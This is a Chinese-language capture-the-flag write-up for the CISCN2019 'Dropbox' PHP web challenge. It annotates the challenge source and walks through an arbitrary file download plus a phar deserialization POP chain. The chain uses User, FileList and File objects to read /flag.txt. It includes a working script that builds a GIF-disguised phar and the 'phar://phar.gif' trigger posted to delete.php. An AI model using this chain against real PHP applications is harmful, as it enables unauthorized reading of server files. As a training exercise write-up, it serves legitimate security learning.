[CISCN2019 华北赛区 Day1 Web1]Dropbox (phar反序列化)

[CISCN2019 华北赛区 Day1 Web1]Dropbox (phar反序列化)

经过测试,发现这里有个任意文件下载的漏洞,根据程序功能,下载到网站源码:


在这里插入图片描述
注意下本地环境:

代码审计:login.php

<?php
include "class.php";

if (isset($_GET['register'])) {
    echo "<script>toast('娉ㄥ唽鎴愬姛', 'info');</script>";
}

if (isset($_POST["username"]) && isset($_POST["password"])) {
    $u = new User();	# 初始化User对象
    $username = (string) $_POST["username"];
    $password = (string) $_POST["password"];
    if (strlen($username) < 20 && $u->verify_user($username, $password)) {	# username长度小于20,调用verify_user方法验证username和password
        $_SESSION['login'] = true;	# session设置login、username(这里还对username做了处理)、sandbox
        $_SESSION['username'] = htmlentities($username);
        $sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";	# 上传路径:uploads/sha1(username+sftUahRiTz)/
        if (!is_dir($sandbox)) {
            mkdir($sandbox);
        }
        $_SESSION['sandbox'] = $sandbox;
        echo("<script>window.location.href='index.php';</script>");
        die();
    }
    echo "<script>toast('璐﹀彿鎴栧瘑鐮侀敊璇�', 'warning');</script>";
}
?>
  • 这里可能有sql注入,具体要看verify_user方法
  • 还注意到上传路径,其实是已知的

register.php

<?php
include "class.php";

if (isset($_POST["username"]) && isset($_POST["password"])) {
    $u = new User();
    $username = (string) $_POST["username"];
    $password = (string) $_POST["password"];
    if (strlen($username) < 20 && strlen($username) > 2 && strlen($password) > 1) {	# 限制username长度小于20,大于2,密码长度大于1
        if ($u->add_user($username, $password)) {	# 调用add_user方法
            echo("<script>window.location.href='login.php?register';</script>");
            die();
        } else {
            echo "<script>toast('姝ょ敤鎴峰悕宸茶浣跨敤', 'warning');</script>";
            die();
        }
    }
    echo "<script>toast('璇疯緭鍏ユ湁鏁堢敤鎴峰悕鍜屽瘑鐮�', 'warning');</script>";
}
?>

upload.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

include "class.php";

if (isset($_FILES["file"])) {
    $filename = $_FILES["file"]["name"]; 	# 文件名
    $pos = strrpos($filename, ".");		# 查找.最后出现的位置
    if ($pos !== false) {
        $filename = substr($filename, 0, $pos); # 截取最后出现.前的字符串
    }
    
    $fileext = ".gif";
    switch ($_FILES["file"]["type"]) {	#文件的 MIME 类型,需要浏览器提供该信息的支持,例如“image/gif”。
        case 'image/gif':
            $fileext = ".gif";
            break;
        case 'image/jpeg':
            $fileext = ".jpg";
            break;
        case 'image/png':
            $fileext = ".png";
            break;
        default:
            $response = array("success" => false, "error" => "Only gif/jpg/png allowed");
            Header("Content-type: application/json");
            echo json_encode($response);
            die();
    }

    if (strlen($filename) < 40 && strlen($filename) !== 0) {
        $dst = $_SESSION['sandbox'] . $filename . $fileext;	# 所上传文件的存储路径:uploads/sha1(username+sftUahRiTz)/文件名+fileexxt
        move_uploaded_file($_FILES["file"]["tmp_name"], $dst);	# 文件被上传后在服务端储存的临时文件名。
        $response = array("success" => true, "error" => "");
        Header("Content-type: application/json");
        echo json_encode($response);
    } else {
        $response = array("success" => false, "error" => "Invaild filename");
        Header("Content-type: application/json");
        echo json_encode($response);
    }
}
?>
  • 这里注意上传的文件,后缀会强制换成指定的三种

download.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");	# 就是只可以访问当前目录(getcwd()返回当前目录)、/etc和/tmp三个目录

chdir($_SESSION['sandbox']);	# 改变当前操作路径为上传文件的路径
$file = new File();	# 初始化file对象
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) { # 文件名不超过40、open方法、文件名中不能有flag
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>
  • download.php的操作路径被改成了uplaod/sha1()/,这也就是为啥文件下载的时候是 ../../index.php
  • 这里看出来确实可以任意文件下载

delete.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);	# 改变当前操作路径为上传文件的路径
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {	# 打开文件、调用delete方法删除文件
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>
  • 注意这里没有限制访问目录

class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);	# 数据库连接

class User {
    public $db;

    public function __construct() {		# 构造函数
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;"); # 预处理,这里sql注入是不行的
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {	# 构造函数
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);	# filenames:path下的文件列表

        $key = array_search(".", $filenames);  # 寻找键值'.',返回键名
        unset($filenames[$key]);	# 删掉这个键值对
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file); # files存储一个用户上传路径下所有的文件对象
            $this->results[$file->name()] = array(); # result每个文件名都是一个键值,每个键值对应一个数组
        }
    }

    public function __call($func, $args) {	# 对象调用一个不存在的方法时调用
        array_push($this->funcs, $func);	# 把不存在的函数名存入funcs(args是不存在函数所带的参数)
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func(); # results[文件名][方法名]= 调用file类对应的方法 
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {	# 遍历funcs中的每个func
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {	# 遍历results中的每个键值对
            $table .= '<tr>';
            foreach ($result as $func => $value) { 	# 遍历result,得到func和对应的结果
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">涓嬭浇</a> / <a href="#" class="delete">鍒犻櫎</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {	# 文件存在且不是文件目录则返回true
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);	# 返回basename
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i]; 	# 返回文件大小
    }

    public function detele() {
        unlink($this->filename);	# 删除文件
    }

    public function close() {
        return file_get_contents($this->filename);	# 返回文件内容
    }
}
?>
  • 基本排除sql注入
  • 注意到两个魔术方法:__call__destruct是危险的
  • 最值得注意的是File类中的 close()方法,因为 file_get_contents往往会造成任意文件读取(而且这里出现这个非常突兀,整个网站都没出现文件内容呈现的功能),这里也是很危险的

index.php

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

看到index这里才清楚class中的奇怪的函数:

  1. 初始化FileList类,调用Name、Size方法
  2. 看到 Filelist中是不存在这两种方法的,于是调用了 __call魔术方法
  3. __call方法:$this->results[$file->name()][$func] = $file->$func();results存储 File类对应方法的执行结果
  4. 最后当FileList对象销毁时,调用 __destruct魔术方法,打印出结果

这里有魔术方法,联系到了反序列化;结合phar反序列化问题,明确该题目确实有phar利用条件:

phar反序列化问题分析:利用 phar 拓展 php 反序列化漏洞攻击面

  1. 有文件上传条件,可以上传phar文件

  2. 可利用函数 题目中含有如 unlink、file_get_contents、isdir、file_exists等函数

  3. 文件操作函数的参数可控:upload.php中filename、delete.php中filename可控

  4. 题目对:/phar等特殊字符没有过滤。

POP利用链思路:

  1. 上传phar文件
    • 这里可以在upload上传文件,对于PHP,是以关键标识 __HALT_COMPILER();?> 识别phar文件的,所以文件后缀对文件识别没有影响
    • 改成 gif/jpg/png 后缀
  2. 后端触发反序列化
    • upload.php中filename、delete.php中filename可控
    • unlink、file_get_contents、isdir、file_exists这些函数在处理 phar文件时都会触发反序列化
    • 但是注意到 upload.php中限制了访问目录,如果想读到限制目录外的其他目录是不行的,所以由 delete.php来触发
  3. 执行魔术方法、读取指定文件
    • 如果想要读取文件内容,肯定要利用class.php中的File.close(),但是没有直接调用这个方法的语句;
    • 注意到 User类中在 __destruct时调用了close(),按原逻辑,$db应该是mysqli即数据库对象,但是我们可以构造$db指定为 File对象,这样就可以读取到文件了。
    • 可读取到文件不能呈现给我们,注意到 __call魔术方法,这个魔术方法的主要功能就是,如果要调用的方法我们这个类中不存在,就会去File中找这个方法,并把执行结果存入 $this->results[$file->name()][$func],刚好我们利用这一点:让 $dbFileList对象,当 $db销毁时,触发 __destruct,调用close(),由于 FileList没有这个方法,于是去 File类中找方法,读取到文件,存入 results
  4. 返回读取结果
    • __destruct正好会将 $this->results[$file->name()][$func]的内容打印出来

构造POP利用链:

<?php
    class User {
    	public $db;
    }
    class File {
    	public $filename;
    }
    class FileList {
        private $files;
        private $results;
        private $funcs;
        public function __construct() {
            $this->files = array();
            $this->results = array();
            $this->funcs = array();
            
            $file = new File();
            $file->filename = '/flag.txt';	# 这里的flag.txt是多次猜测出来的
            array_push($this->files, $file);
    	}
    }

    $user = new User();
	$filelist = new FileList();
	$user->db = $filelist;

    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");  //设置stub,增加gif文件头
    $phar->setMetadata($user); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

生成phar文件:

改一下后缀上传:

抓取delete.php的数据包,修改post提交的数据:

filename=phar://phar.gif

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值